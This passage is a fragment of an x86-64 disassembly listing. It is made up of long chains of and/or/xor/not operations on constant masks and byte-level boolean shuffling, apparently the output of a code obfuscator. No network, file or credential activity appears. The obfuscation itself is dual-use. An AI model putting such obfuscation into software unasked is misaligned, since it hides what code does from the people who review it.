and eax, 0xb83a2e6b
and edx, 0x43808190
or edx, eax
or r9d, ebp
and ebp, 0xb83a2e6b
and ecx, 0x47c5d194
or ecx, ebp
xor ecx, edx
not r9d
or r9d, ecx
mov eax, r9d
not eax
and eax, 0x153ff618
and r9d, 0xeac009e7
or r9d, eax
and r11d, 0x3018a545
mov eax, r11d
and eax, r12d
xor r12d, r11d
or r12d, eax
mov eax, r12d
not eax
and eax, 0xa12d68f2
and r12d, 0x5ed2970d
or r12d, eax
mov r8d, r12d
xor r8d, 0x6eca3248
mov ecx, r14d
mov eax, r14d
xor eax, 0x773bc234
and eax, r14d
not r14d
and r14d, 0x78ce1f39
and ecx, 0x8731e0c6
or ecx, r14d
mov edx, ecx
xor edx, 0x8731e0c6
mov edi, r12d
xor edi, 0x9135cdb7
xor ecx, 0x78ce1f39
mov esi, edx
and esi, 0x773bc234
mov ebp, edi
and ebp, 0x773bc234
xor r12d, 0x19f1f07c
and r12d, r8d
mov ebx, esi
and ebx, eax
xor eax, esi
or eax, ebx
mov ebx, ebp
and ebx, r12d
xor r12d, ebp
or r12d, ebx
mov ebp, eax
not ebp
and ebp, 0x553c9a61
and eax, 0xaac3659e
or eax, ebp
mov ebp, r12d
not ebp
and ebp, 0x553c9a61
and r12d, 0xaac3659e
or r12d, ebp
xor r12d, eax
mov eax, ecx
and eax, 0x8e601ae2
and edx, 0x719fe51d
or edx, eax
or ecx, r8d
and r8d, 0x8e601ae2
and edi, 0x719fe51d
or edi, r8d
xor edi, edx
not ecx
or ecx, edi
mov eax, ecx
not eax
and eax, 0xa9dab578
and ecx, 0x56254a87
or ecx, eax
xor ecx, 0x56254a87
mov eax, r12d
and eax, ecx
xor ecx, r12d
or ecx, eax
mov ebx, ecx
not ebx
mov ebp, ecx
or ebp, 0x438f0324
mov edx, ebp
not edx
and ecx, 0xee96d4
mov eax, ebx
and eax, 0xff11692b
or eax, ecx
xor eax, 0xff11692b
or eax, ebx
or ebx, 0xbc70fcdb
mov ecx, ebx
not ecx
and ebp, 0xd23949df
and edx, 0x2c40b400
or edx, ebp
and ebx, 0xd23949df
and ecx, 0x1860220
or ecx, ebx
xor ecx, edx
mov edx, ecx
not edx
and edx, 0xdf22c95f
and ecx, 0x20dd36a0
or ecx, edx
mov edx, ecx
xor edx, 0x1c208a38
xor ecx, 0x41123584
and edx, 0x3e608a38
and ecx, 0xc19f75c7
or ecx, edx
mov edx, ecx
xor edx, 0x18a4586
xor ecx, 0x3e608a38
mov ebp, eax
not ebp
and ebp, 0xa4dbc7ee
and eax, 0x5b243811
or eax, ebp
mov ebp, eax
xor ebp, 0x9200810
xor eax, 0xa4dbc7ee
mov ebx, ecx
or ebx, eax
mov edi, ebx
not edi
and ecx, 0xf6153049
and edx, 0x9eacfb6
or edx, ecx
and eax, 0xf6153049
and ebp, 0x9eacfb6
or ebp, eax
xor ebp, edx
mov eax, ebp
not eax
mov ecx, ebx
and ecx, 0x6348eb67
and edi, 0x9cb71498
or edi, ecx
or ebx, eax
and eax, 0x6348eb67
and ebp, 0x9cb71498
or ebp, eax
xor ebp, edi
not ebx
or ebx, ebp
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0xfbf10e56
mov edx, ebx
and edx, 0x40ef1a9
or edx, ecx
mov ebp, edx
xor ebp, 0xfbf10e56
xor edx, 0x402f108
mov ecx, ebp
and ecx, 0xa02c0ee1
and edx, 0x5fd3f11e
or edx, ecx
or ebp, ebx
and ebx, 0xa02c0ee1
and eax, 0x5fd3f11e
or eax, ebx
xor eax, edx
not ebp
or ebp, eax
mov eax, ebp
not eax
and eax, 0x2cd0b6a
and ebp, 0xfd32f495
or ebp, eax
mov ecx, ebp
xor ecx, 0xfd32f495
xor ebp, 0x2cd0b6a
mov eax, ebp
and eax, 0x4925cb0
mov edi, r9d
not edi
mov edx, ecx
xor edx, edi
mov ebx, ecx
not edx
and edx, ecx
and ecx, 0xfb6da34f
or ecx, eax
xor ecx, r9d
mov eax, edi
and eax, 0xec28e5cd
xor ecx, 0x4925cb0
and ecx, r9d
and r9d, 0x13d71a32
or r9d, eax
and ebx, 0xec28e5cd
and ebp, 0x13d71a32
or ebp, ebx
xor ebp, r9d
xor edi, ebp
and edi, ebp
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov r8d, edi
not r8d
mov ebp, ecx
not ebp
mov edx, edi
xor edx, 0x361f35e6
and edx, r8d
mov ebx, edi
and ebx, 0xc9e0ca19
mov esi, ebp
and esi, 0x361f35e6
mov eax, ecx
xor eax, 0x361f35e6
and eax, ecx
mov r9d, edx
and r9d, ebx
xor ebx, edx
or ebx, r9d
mov edx, esi
and edx, eax
xor eax, esi
or eax, edx
mov edx, ebx
not edx
and edx, eax
not eax
and eax, ebx
or eax, edx
mov edx, edi
and edx, 0xac43d83b
and r8d, 0x53bc27c4
or r8d, edx
or edi, ecx
and ecx, 0xac43d83b
and ebp, 0x53bc27c4
or ebp, ecx
xor ebp, r8d
not edi
or edi, ebp
mov ecx, edi
not ecx
mov r8d, eax
not r8d
mov edx, r8d
and edx, 0xd1b7a7c2
and eax, 0x2e48583d
or eax, edx
or r8d, edi
and edi, 0xd1b7a7c2
and ecx, 0x2e48583d
or ecx, edi
xor ecx, eax
not r8d
or r8d, ecx
mov r9d, r8d
not r9d
mov eax, r9d
and eax, 0xa791c03b
mov ecx, r8d
and ecx, 0x586e3fc4
or ecx, eax
mov eax, ecx
xor eax, 0x400e2b00
xor ecx, 0xa791c03b
mov edx, r9d
and edx, r8d
mov ebp, edx
not ebp
mov edi, ecx
and edi, 0xbc61d4de
and eax, 0x439e2b21
or eax, edi
or ecx, ebp
and ebp, 0xbc61d4de
and edx, 0x439e2b21
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xec14ec75
mov eax, edx
and eax, 0x13eb138a
or eax, ecx
xor eax, 0x97ac045a
and edx, 0x7bb8e82f
or edx, eax
mov eax, edx
not eax
and eax, 0xe4fdefad
and edx, 0x1b021052
or edx, eax
mov edi, edx
xor edi, 0x11001050
xor edx, 0xe4fdefad
mov eax, r8d
and eax, 0x286fb86d
mov ecx, r9d
and ecx, 0xd7904792
or ecx, eax
xor ecx, 0xac28afbd
mov eax, r9d
and eax, 0x844717d0
or eax, ecx
mov ebp, eax
not ebp
mov esi, edx
or esi, eax
mov ecx, esi
not ecx
and edx, 0xcef6cb87
and edi, 0x31093478
or edi, edx
and eax, 0xcef6cb87
and ebp, 0x31093478
or ebp, eax
xor ebp, edi
mov eax, ebp
not eax
mov edx, esi
and edx, 0x3c3046f4
and ecx, 0xc3cfb90b
or ecx, edx
or esi, eax
and eax, 0x3c3046f4
and ebp, 0xc3cfb90b
or ebp, eax
xor ebp, ecx
not esi
or esi, ebp
mov eax, esi
mov ecx, esi
xor ecx, 0x3a64f68f
and ecx, esi
not esi
and esi, 0x1044f289
and eax, 0x2a200406
or eax, esi
xor eax, 0x2a200406
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x41dc1ea0
and ecx, 0xbe23e15f
or ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0x69a1ff28
and eax, ecx
not ecx
and ecx, 0xbef41946
and edx, 0x410be6b9
or edx, ecx
mov ecx, edx
not ecx
xor edx, 0x28a01900
or edx, 0x965e00d7
mov ebp, eax
not ebp
mov edi, edx
and edi, 0xadb4bd0b
and ecx, 0x40014220
or ecx, edi
or edx, ebp
and ebp, 0xadb4bd0b
and eax, 0x524b42f4
or eax, ebp
xor eax, ecx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0x55e185a0
and edx, 0xaa1e7a5f
or edx, eax
mov eax, edx
xor eax, 0x83318465
xor edx, 0x8004200
and eax, 0xb771bced
and edx, 0x488e4312
or edx, eax
mov r14d, edx
xor r14d, 0xb771bced
xor edx, 0x488e4312
mov eax, r9d
and eax, 0x14020101
mov ecx, r8d
and ecx, 0x43c00c56
or ecx, eax
mov eax, ecx
xor eax, 0x42800444
xor ecx, 0xbc3ff3a9
mov edi, r8d
xor edi, 0x57c20d57
and edi, r8d
mov esi, edi
not esi
mov ebx, ecx
and ebx, 0xd4b8813
and eax, 0x52800544
or eax, ebx
or ecx, esi
and esi, 0xd4b8813
and edi, 0xf2b477ec
or edi, esi
xor edi, eax
not ecx
or ecx, edi
mov eax, ecx
not eax
and eax, 0x3576c4a7
and ecx, 0xca893b58
or ecx, eax
mov eax, ecx
xor eax, 0x800b240d
xor ecx, 0x62b4c9f0
mov ebx, ecx
and ebx, 0x7dc0db92
and eax, 0x823f246d
or eax, ebx
and r8d, 0x7dc0db92
and r9d, 0x823f246d
or r9d, r8d
xor r9d, eax
not r9d
or r9d, ecx
mov ecx, r9d
not ecx
mov ebx, edx
and ebx, 0x12bae23b
mov eax, r9d
or eax, r14d
and r14d, 0xed451dc4
or r14d, ebx
xor r14d, 0xed451dc4
mov ebx, r14d
and ebx, r9d
xor r14d, r9d
or r14d, ebx
mov edi, r14d
not edi
not eax
and r9d, 0x1abdf174
and ecx, 0xe5420e8b
or ecx, r9d
xor ecx, 0x1abdf174
or ecx, edx
not ecx
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, r14d
and eax, 0x8f9049b
xor r14d, 0x9193f115
and r14d, edi
mov edx, edi
and edx, 0xf706fb64
or edx, eax
mov r8d, edx
xor r8d, 0x6002360
mov r10d, ecx
not r10d
xor edx, 0x8f9049b
mov esi, edx
or esi, 0x9193f115
mov eax, esi
not eax
mov r11d, ecx
or r11d, 0x9193f115
mov r15d, r11d
not r15d
mov r9d, r10d
or r9d, 0x6e6c0eea
mov ebx, r9d
not ebx
mov ebp, r14d
not ebp
mov edi, esi
and edi, 0x48163ec7
and eax, 0x26680028
or eax, edi
or esi, ebp
and ebp, 0x48163ec7
and r14d, 0xb7e9c138
or r14d, ebp
xor r14d, eax
not esi
or esi, r14d
and r11d, 0x409a71b9
and r15d, 0x2e640e42
or r15d, r11d
and r9d, 0x409a71b9
and ebx, 0x91018004
or ebx, r9d
xor ebx, r15d
mov eax, esi
not eax
and eax, ebx
not ebx
and ebx, esi
or ebx, eax
mov eax, edx
and eax, 0xf996d81c
and r8d, 0x66927e3
or r8d, eax
or edx, ecx
and ecx, 0xf996d81c
and r10d, 0x66927e3
or r10d, ecx
xor r10d, r8d
not edx
or edx, r10d
mov ecx, edx
not ecx
mov eax, ebx
not eax
mov ebp, eax
and ebp, 0xb9354b22
and ebx, 0x46cab4dd
or ebx, ebp
or eax, edx
and edx, 0xb9354b22
and ecx, 0x46cab4dd
or ecx, edx
xor ecx, ebx
not eax
or eax, ecx
mov ebp, eax
not ebp
mov edx, eax
mov ecx, ebp
and ecx, 0x1bfc3670
and eax, 0xe403c98f
or eax, ecx
xor eax, 0x1bfc3670
or eax, ebp
and ebp, 0x6841aa22
and edx, 0x97be55dd
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x5e13054a
and edx, 0xa1ecfab5
or edx, ecx
mov ecx, edx
xor ecx, 0xc9ad5097
xor edx, 0x3652af68
mov r8d, eax
not r8d
mov ebp, edx
and ebp, 0xea82c159
mov ebx, ecx
and ebx, 0x157d3ea6
or ebx, ebp
mov esi, eax
xor esi, 0x157d3ea6
and esi, eax
mov ebp, r8d
and ebp, 0x157d3ea6
mov edi, esi
and edi, ebp
xor ebp, esi
or ebp, edi
mov edi, ebx
not edi
and edi, ebp
not ebp
and ebp, ebx
or ebp, edi
mov ebx, ecx
and ebx, 0x9f995dc1
and edx, 0x6066a23e
or edx, ebx
or ecx, r8d
and r8d, 0x9f995dc1
and eax, 0x6066a23e
or eax, r8d
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x6722f65d
and ecx, 0x98dd09a2
or ecx, eax
mov edx, ecx
xor edx, 0x804000a0
xor ecx, 0x6722f65d
mov ebx, ebp
not ebx
mov eax, ebx
and eax, 0x5dbfdb4e
and ebp, 0xa24024b1
or ebp, eax
or ebx, ecx
and ecx, 0x5dbfdb4e
and edx, 0xa24024b1
or edx, ecx
xor edx, ebp
not ebx
or ebx, edx
mov esi, ebx
not esi
mov edx, esi
and edx, 0x64010054
mov eax, ebx
and eax, 0x1088d301
or eax, edx
xor eax, 0x1088d301
mov ebp, ebx
xor ebp, 0x7489d355
and ebp, ebx
mov edx, eax
and edx, ebp
xor ebp, eax
or ebp, edx
mov eax, ebp
not eax
and eax, 0x396c00db
and ebp, 0xc693ff24
or ebp, eax
mov r9d, ebp
xor r9d, 0xb21a2c71
mov r10d, ebp
xor r10d, 0x4de5d38e
mov eax, r10d
and eax, 0x469191af
mov edx, ebp
xor edx, 0xb744221
or edx, eax
mov eax, edx
not eax
mov ecx, esi
and ecx, 0x8d56f902
and ebx, 0x72a906fd
or ebx, ecx
xor ebx, 0x34389752
xor esi, ebx
and esi, ebx
mov ecx, edx
and ecx, 0x50cc44bd
xor edx, 0xccb0e6e0
and edx, eax
and eax, 0xaf33bb42
or eax, ecx
mov r8d, eax
xor r8d, 0xaf33bb42
mov edi, esi
xor edi, 0x334f191f
and edi, esi
mov ecx, esi
not ecx
xor eax, 0x63835da2
and eax, r8d
mov esi, ecx
and esi, 0x334f191f
mov ebx, eax
and ebx, edx
xor edx, eax
or edx, ebx
mov eax, esi
and eax, edi
xor edi, esi
or edi, eax
mov eax, edx
not eax
and eax, edi
not edi
and edi, edx
or edi, eax
mov eax, r8d
and eax, ecx
xor ecx, r8d
or ecx, eax
not ecx
mov eax, edi
and eax, ecx
xor ecx, edi
or ecx, eax
mov eax, ecx
not eax
and eax, 0x2c5c097c
and ecx, 0xd3a3f683
or ecx, eax
mov eax, ecx
not eax
and eax, 0xd59488ef
and ecx, 0x2a6b7710
or ecx, eax
mov r8d, ecx
xor r8d, 0x40a6efc3
and r10d, 0xbf6c950b
xor ebp, 0xe6ba1690
and ebp, r9d
mov edi, r9d
and edi, 0x40936af4
or edi, r10d
mov eax, edi
xor eax, 0x40936af4
mov edx, edi
xor edx, 0xebccafea
and edx, eax
mov eax, edx
and eax, ebp
xor ebp, edx
or ebp, eax
mov eax, ebp
not eax
and eax, 0xab5fc51e
and ebp, 0x54a03ae1
or ebp, eax
xor edi, 0xbf6c950b
mov eax, ebp
and eax, edi
xor edi, ebp
or edi, eax
mov eax, edi
mov edx, edi
xor edx, 0x837bd928
and edx, edi
not edi
and edi, 0x8103c120
and eax, 0x2781808
or eax, edi
xor eax, 0x2781808
mov ebp, eax
and ebp, edx
xor edx, eax
or edx, ebp
mov eax, edx
not eax
and eax, 0x2ec0c75b
and edx, 0xd13f38a4
or edx, eax
mov r11d, edx
xor r11d, 0x40042108
xor edx, 0xadbb1e73
mov r10d, ecx
xor r10d, 0xbf59103c
mov eax, edx
and eax, 0x12e2c497
and r11d, 0xed1d3b68
or r11d, eax
mov r9d, r11d
xor r9d, 0xed1d3b68
xor ecx, 0x2ca0452c
and ecx, r10d
mov edi, r10d
or edi, 0x6c06aaef
mov eax, edi
not eax
mov ebx, r11d
xor ebx, 0x7ee46e78
and ebx, r9d
or edx, 0x6c06aaef
mov ebp, edx
not ebp
mov esi, ecx
not esi
mov r14d, esi
and r14d, 0xf5e706d0
and ecx, 0xa18f92f
or ecx, r14d
or esi, edi
and edi, 0xf5e706d0
and eax, 0x2185100
or eax, edi
xor eax, ecx
not esi
or esi, eax
mov ecx, ebx
not ecx
mov eax, ecx
and eax, 0x7995c45a
and ebx, 0x866a3ba5
or ebx, eax
or ecx, edx
and edx, 0x7995c45a
and ebp, 0x82681100
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov eax, esi
not eax
and eax, ecx
not ecx
and ecx, esi
or ecx, eax
xor r11d, 0x12e2c497
mov eax, r8d
and eax, 0x3035a568
and r10d, 0xcfca5a97
or r10d, eax
or r8d, r11d
and r11d, 0x3035a568
and r9d, 0xcfca5a97
or r9d, r11d
xor r9d, r10d
not r8d
or r8d, r9d
mov eax, r8d
not eax
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x8ad5cd5c
and ecx, 0x752a32a3
or ecx, edx
or ebp, r8d
and r8d, 0x8ad5cd5c
and eax, 0x752a32a3
or eax, r8d
xor eax, ecx
not ebp
or ebp, eax
mov ebx, ebp
not ebx
mov ecx, ebx
and ecx, 0x4e44b116
mov eax, ebp
and eax, 0xb1bb4ee9
or eax, ecx
mov ecx, eax
xor ecx, 0x80000a28
xor eax, 0x4a441116
mov edx, ebp
xor edx, 0xdbf51b7f
and edx, ebp
or eax, 0x240ae480
mov edi, edx
not edi
mov esi, eax
and esi, 0x79f3d147
and ecx, 0x82040a38
or ecx, esi
or eax, edi
and edi, 0x79f3d147
and edx, 0x860c2eb8
or edx, edi
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x240ae480
and eax, 0xdbf51b7f
or eax, ecx
and ebx, 0x4afd9c56
and ebp, 0xb50263a9
or ebp, ebx
mov edx, ebp
xor edx, 0xb50263a9
xor ebp, 0x2898852
and ebp, 0x1689a87a
mov ecx, edx
and ecx, 0xe9765785
or ecx, ebp
xor ecx, 0xe9765785
or ecx, edx
mov edx, ecx
mov ebp, eax
xor ebp, ecx
and ebp, eax
and ecx, eax
not eax
not edx
and edx, eax
or ecx, edx
mov ebx, ebp
not ebx
mov edx, ecx
not edx
mov eax, ebx
and eax, 0xda951057
and ebp, 0x256aefa8
or ebp, eax
or ebx, edx
and edx, 0xda951057
and ecx, 0x256aefa8
or ecx, edx
xor ecx, ebp
not ebx
or ebx, ecx
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0xeb3fbd21
mov eax, ebx
and eax, 0x14c042de
or eax, edx
mov edx, eax
xor edx, 0x6b280c01
xor eax, 0x14c042de
mov ebp, eax
and ebp, 0x8097f32a
and edx, 0x7f680cd5
or edx, ebp
and ebx, 0x8097f32a
and ecx, 0x7f680cd5
or ecx, ebx
xor ecx, edx
xor eax, ecx
test eax, ecx
sete r8b
setne r14b
mov eax, dword [rsp + 0x34]
cmp eax, 0xa
setl r13b
cmp eax, 9
setg r10b
mov ebx, r10d
xor bl, r13b
mov r11d, ebx
xor r11b, 1
mov eax, r11d
and al, bl
mov ecx, r11d
and cl, al
xor r11b, al
or r11b, cl
mov r9d, r11d
xor r9b, 1
xor al, 1
mov ecx, ebx
xor cl, al
mov byte [rsp + 0x50], cl
or al, bl
mov byte [rsp + 0x58], al
and bl, r10b
mov esi, r9d
or sil, r11b
mov edx, esi
xor dl, 1
mov eax, ebx
not al
mov edi, edx
and dil, sil
mov ecx, r11d
and cl, r9b
mov ebp, edi
and bpl, dl
xor dil, dl
or dil, bpl
xor cl, 1
mov ebp, ecx
xor bpl, r9b
or cl, r9b
xor cl, 1
or cl, bpl
mov ebp, edi
xor bpl, 1
and bpl, cl
xor cl, 1
and cl, dil
or cl, bpl
xor sil, r9b
or dl, r11b
xor dl, 1
or dl, sil
xor dl, 1
mov esi, ecx
and sil, dl
xor dl, cl
or dl, sil
and al, bl
mov ecx, edx
xor cl, 1
and dl, cl
xor al, 1
mov esi, ebx
xor sil, al
or al, bl
xor al, 1
or al, sil
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
xor dl, al
xor r9b, r13b
mov byte [rsp + 0x32], r10b
mov eax, r10d
and al, r11b
xor r11b, r10b
or r11b, al
xor r11b, 1
mov eax, r9d
and al, r11b
xor r11b, r9b
or r11b, al
mov eax, r11d
xor al, 1
and r11b, al
mov ecx, eax
and cl, r11b
xor r11b, al
or r11b, cl
mov eax, edx
xor al, 1
and al, r11b
xor r11b, 1
mov ecx, edx
xor cl, r11b
and cl, dl
and r11b, dl
or r11b, al
mov eax, ecx
xor al, 1
xor cl, r11b
xor r11b, 1
or r11b, al
xor r11b, 1
or r11b, cl
mov eax, r11d
xor al, 1
mov ebx, r11d
or bl, al
mov ecx, ebx
xor cl, 1
mov edx, ecx
or cl, r11b
and r11b, bl
and dl, al
or dl, r11b
xor bl, al
xor cl, 1
or cl, bl
mov eax, edx
xor al, cl
xor dl, 1
xor al, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ecx, eax
and cl, dl
xor al, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov ebx, ecx
xor bl, 1
mov eax, ebx
and al, cl
mov edx, eax
xor dl, 1
xor al, cl
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and al, dl
mov ecx, eax
and cl, dl
xor al, dl
or al, cl
mov edx, eax
xor dl, 1
mov r11d, eax
xor r11b, dl
and dl, al
mov r9d, edx
xor r9b, 1
or r9b, al
mov ebx, r9d
xor bl, 1
and r11b, al
xor r11b, dl
mov eax, r11d
xor al, 1
and dl, al
mov ecx, edx
xor cl, 1
xor dl, r11b
or cl, al
xor cl, 1
or cl, dl
and bl, r9b
mov eax, r9d
and al, bl
xor bl, r9b
or bl, al
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov r9d, ebx
xor r9b, 1
mov edx, ecx
xor dl, 1
mov r11d, edx
and r11b, cl
xor r11b, 1
mov esi, ecx
xor sil, r11b
or r11b, cl
or cl, dl
xor cl, 1
xor al, cl
and cl, al
xor al, 1
mov edi, ecx
and dil, al
xor al, cl
or al, dil
mov edi, eax
xor dil, 1
mov ecx, edi
and cl, al
xor dil, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, dil
mov eax, ecx
and al, r9b
xor cl, 1
and cl, bl
or cl, al
and bl, r9b
mov eax, r9d
and al, bl
xor bl, r9b
or bl, al
xor r11b, 1
or r11b, sil
xor r11b, bl
mov eax, r9d
and al, dl
xor dl, r9b
or dl, al
xor dl, 1
mov eax, r11d
and al, dl
xor dl, r11b
or dl, al
mov eax, edx
xor al, 1
mov ebx, eax
mov r10d, ecx
or al, cl
xor cl, 1
and bl, cl
and r10b, dl
or r10b, bl
xor cl, dl
xor al, 1
or al, cl
xor r10b, 1
mov ecx, r10d
xor cl, al
or r10b, al
xor r10b, 1
or r10b, cl
mov eax, r14d
xor al, r8b
mov r9d, eax
xor r9b, 1
mov ecx, eax
and cl, r9b
mov edx, eax
xor dl, cl
xor cl, 1
or cl, r9b
xor cl, 1
or cl, dl
mov r11d, ecx
xor r11b, 1
mov esi, r11d
or sil, cl
mov edx, esi
xor dl, 1
mov edi, r9d
xor dil, al
mov r15d, eax
mov byte [rsp + 0x5c], al
and dil, r9b
mov eax, edi
xor al, 1
and dl, sil
mov ebx, edi
and bl, al
xor dl, 1
mov ebp, edx
xor bpl, sil
or dl, sil
xor dl, 1
or dl, bpl
mov ebp, ebx
and bpl, dil
xor bl, dil
or bl, bpl
mov edi, edx
xor dil, 1
and dil, bl
xor bl, 1
and bl, dl
or bl, dil
mov edx, esi
and dl, al
xor al, sil
or al, dl
xor bl, 1
mov edx, ebx
xor dl, al
or bl, al
xor bl, 1
or bl, dl
mov edx, r8d
mov byte [rsp + 0x40], r8b
mov eax, r8d
or al, bl
xor bl, 1
mov byte [rsp + 0x54], r14b
or bl, r14b
xor bl, 1
xor al, 1
mov r8d, ebx
and r8b, al
xor al, bl
or al, r8b
mov ebx, ecx
and bl, r14b
and r11b, dl
or r11b, bl
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
xor cl, 1
mov edx, r11d
and dl, cl
xor cl, r11b
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
xor al, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, al
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, eax
or dl, cl
mov ebx, edx
xor bl, 1
and bl, al
or al, dl
xor al, 1
and dl, cl
or dl, bl
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov ecx, edx
xor cl, 1
mov eax, ecx
and al, dl
mov ebx, ecx
xor bl, al
xor al, 1
or al, dl
xor al, 1
or al, bl
mov ebx, eax
xor bl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and dl, bl
or bl, cl
xor bl, 1
and cl, al
or cl, dl
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov r11d, ecx
xor r11b, 1
or r9b, r15b
mov edi, r9d
xor dil, 1
mov eax, edi
and al, r9b
mov ebx, edi
xor bl, al
xor al, 1
or al, r9b
xor al, 1
or al, bl
mov esi, eax
xor sil, 1
or dil, r9b
mov ebx, edi
xor bl, 1
mov r9d, esi
and r9b, al
mov edx, edi
and dl, bl
mov ebp, esi
and bpl, r9b
xor r9b, sil
or r9b, bpl
mov esi, edi
and sil, dl
xor dl, dil
or dl, sil
xor dl, r9b
mov r9d, eax
xor r9b, bl
or bl, al
xor bl, 1
or bl, r9b
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov r9d, ebx
xor r9b, 1
mov eax, r11d
and al, cl
mov edx, ebx
and dl, r9b
xor al, 1
mov esi, ecx
xor sil, al
or al, cl
xor al, 1
or al, sil
mov esi, ebx
and sil, dl
mov r8d, ebx
xor r8b, dl
or r8b, sil
mov esi, eax
xor sil, 1
mov ebp, r8d
and bpl, sil
xor r8b, 1
and r8b, al
or r8b, bpl
mov ebp, r8d
xor bpl, cl
or r8b, cl
xor r8b, 1
or r8b, bpl
mov ebp, r8d
xor bpl, 1
or sil, al
xor cl, sil
mov r14d, ebx
xor r14b, r9b
xor r9b, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, r9b
mov eax, edx
xor al, 1
or al, dl
xor al, 1
and r14b, bl
or sil, r11b
xor sil, 1
xor cl, 1
mov edx, esi
and dl, cl
xor cl, sil
or cl, dl
xor r14b, al
mov edx, r14d
xor dl, 1
and dl, al
mov eax, edx
and al, r14b
xor dl, r14b
or dl, al
mov ebx, edx
xor bl, 1
mov eax, ebx
and al, dl
xor bl, al
xor al, 1
or al, dl
xor al, 1
or al, bl
mov edx, eax
and dl, cl
xor cl, 1
xor al, 1
and al, cl
or al, dl
and r8b, bpl
xor r8b, 1
mov ecx, ebp
xor cl, r8b
or r8b, bpl
xor r8b, 1
or r8b, cl
mov ecx, eax
xor cl, 1
mov edx, ebp
xor dl, al
mov ebx, edx
and bl, al
and dl, bpl
mov r9d, ebx
and r9b, dl
xor dl, bl
or dl, r9b
mov ebx, eax
and bl, r8b
xor r8b, 1
and cl, r8b
or cl, bl
mov ebx, r8d
and bl, al
xor r8b, al
or r8b, bl
xor r8b, 1
mov eax, ecx
and al, r8b
xor r8b, cl
or r8b, al
mov eax, r8d
xor al, 1
and r8b, al
mov ecx, eax
and cl, r8b
xor r8b, al
or r8b, cl
mov eax, r8d
xor al, 1
and al, r8b
xor al, 1
mov ecx, r8d
xor cl, al
or al, r8b
xor al, 1
or al, cl
mov ecx, eax
and cl, dl
mov ebx, edx
xor bl, r8b
or r8b, dl
xor dl, 1
xor al, 1
and al, dl
or al, cl
xor r8b, 1
or r8b, bl
xor r8b, 1
mov ecx, eax
and cl, r8b
xor r8b, al
or r8b, cl
mov eax, r10d
xor al, 1
mov esi, eax
and sil, r10b
mov r11d, eax
and r11b, sil
mov ecx, eax
xor cl, sil
mov byte [rsp + 0x34], cl
or r11b, cl
mov ebx, r10d
or bl, al
mov r15d, eax
mov r9d, ebx
xor r9b, 1
mov eax, ebx
and al, r9b
mov edx, ebx
xor dl, al
xor al, 1
or al, r9b
xor al, 1
or al, dl
mov ecx, r11d
xor cl, 1
xor al, cl
mov edx, ecx
and dl, bl
mov edi, ecx
mov ebp, ecx
xor dil, bl
mov byte [rsp + 0x44], dil
mov r14d, ebx
mov byte [rsp + 0x4a], bl
or dl, dil
xor dl, 1
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov eax, edx
xor al, 1
and dl, al
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov r12d, edx
xor r12b, 1
mov eax, r12d
and al, dl
xor r12b, dl
or r12b, al
xor r15b, r10b
or r15b, sil
mov byte [rsp + 0x33], r15b
xor sil, 1
or sil, r10b
xor sil, 1
or sil, byte [rsp + 0x34]
mov eax, r11d
mov byte [rsp + 0x4e], cl
and al, cl
mov edx, eax
and dl, r11b
xor al, r11b
or al, dl
or r11b, cl
xor r11b, 1
mov edx, eax
and dl, r11b
xor r11b, al
or r11b, dl
mov eax, r8d
xor al, 1
mov ebx, r8d
or bl, al
mov ecx, eax
and cl, r8b
mov edx, r8d
and dl, cl
mov byte [rsp + 0x4f], dl
xor cl, r8b
mov byte [rsp + 0x3f], cl
mov r15d, eax
xor al, r8b
mov byte [rsp + 0x34], al
mov edx, r8d
mov byte [rsp + 0x38], bl
or r8b, bl
xor r8b, 1
mov byte [rsp + 0x61], r8b
xor dl, bl
or dl, r8b
mov ecx, edx
xor cl, 1
mov eax, edx
or al, cl
mov ebx, eax
xor bl, 1
and bl, dl
or dl, al
and al, cl
or al, bl
mov ecx, edx
xor cl, al
xor al, 1
or al, dl
xor cl, 1
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and cl, al
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, r11d
xor al, 1
and al, cl
xor cl, 1
and cl, r11b
or cl, al
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
xor al, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, esi
xor al, 1
xor r9b, al
xor r9b, 1
mov ecx, eax
and cl, dl
mov byte [rsp + 0x4b], cl
